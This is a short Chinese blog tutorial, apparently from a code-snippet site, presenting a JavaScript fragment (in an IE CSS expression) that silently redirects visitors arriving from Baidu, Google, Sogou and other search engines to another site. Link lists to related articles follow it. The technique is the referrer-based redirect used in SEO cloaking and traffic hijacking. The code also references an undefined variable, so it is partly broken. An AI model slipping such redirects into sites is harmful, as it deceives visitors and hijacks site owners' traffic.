JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
可实现多表单提交的javascript函数
Aug 01 Javascript
js 调整select 位置的函数
Feb 21 Javascript
JavaScript之Getters和Setters 平台支持等详细介绍
Dec 07 Javascript
基于BootStrap栅格栏系统完成网站底部版权信息区
Dec 23 Javascript
angular+bootstrap的双向数据绑定实例
Mar 03 Javascript
基于JavaScript实现滑动门效果
Mar 16 Javascript
原生js 封装get ,post, delete 请求的实例
Aug 11 Javascript
Angular4学习笔记之根模块与Ng模块
Sep 09 Javascript
javascript基于定时器实现进度条功能实例
Oct 13 Javascript
ES6 中可以提升幸福度的小功能
Aug 06 Javascript
jquery3和layui冲突导致使用layui.layer.full弹出全屏iframe窗口时高度152px问题
May 12 jQuery
详解node.js 事件循环
Jul 22 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
如何让thinkphp在模型中自动完成session赋值小教程
2014/09/05 PHP
10款PHP开源商城系统汇总介绍
2015/07/23 PHP
PHP实现UTF8二进制及明文字符串的转化功能示例
2017/11/20 PHP
thinkphp5实现微信扫码支付
2019/12/23 PHP
js 巧妙去除数组中的重复项
2010/01/25 Javascript
网页源代码保护(禁止右键、复制、另存为、查看源文件)
2012/05/23 Javascript
IE浏览器IFrame对象内存不释放问题解决方法
2014/08/22 Javascript
jQuery实现图片轮播效果代码(基于jquery.pack.js插件)
2016/06/02 Javascript
Node.js连接postgreSQL并进行数据操作
2016/12/18 Javascript
jquery实现自适应banner焦点图
2017/02/16 Javascript
详解使用angular-cli发布i18n多国语言Angular应用
2017/05/20 Javascript
深入理解Vue-cli搭建项目后的目录结构探秘
2017/07/13 Javascript
javaScript实现复选框全选反选事件详解
2020/11/20 Javascript
AngularJS中下拉框的基本用法示例
2017/10/11 Javascript
详解ajax的data参数错误导致页面崩溃
2018/04/30 Javascript
webstorm中配置Eslint的两种方式及差异比较详解
2018/10/19 Javascript
layui的表单提交以及验证和修改弹框的实例
2019/09/09 Javascript
vue登录注册实例详解
2019/09/14 Javascript
node.js使用yargs处理命令行参数操作示例
2020/02/11 Javascript
Python中使用中文的方法
2011/02/19 Python
网站渗透常用Python小脚本查询同ip网站
2017/05/08 Python
使用python实现BLAST
2018/02/12 Python
python自动生成model文件过程详解
2019/11/02 Python
使用 Supervisor 监控 Python3 进程方式
2019/12/05 Python
python将时分秒转换成秒的实例
2019/12/07 Python
pymysql 插入数据 转义处理方式
2020/03/02 Python
Python figure参数及subplot子图绘制代码
2020/04/18 Python
HTML5的video标签的浏览器兼容性增强方案分享
2016/05/19 HTML / CSS
Mamas & Papas沙特阿拉伯:英国最受欢迎的婴儿品牌
2017/11/20 全球购物
美国婴童服装市场上的领先品牌:Carter’s
2018/02/08 全球购物
英国邮购活的植物主要供应商:Gardening Direct
2019/01/28 全球购物
工商管理应届生求职信
2013/10/07 职场文书
十佳好少年事迹材料
2014/08/21 职场文书
六查六看剖析材料
2014/10/06 职场文书
公务员个人总结
2015/02/12 职场文书
利用Python将list列表写入文件并读取的方法汇总
2022/03/25 Python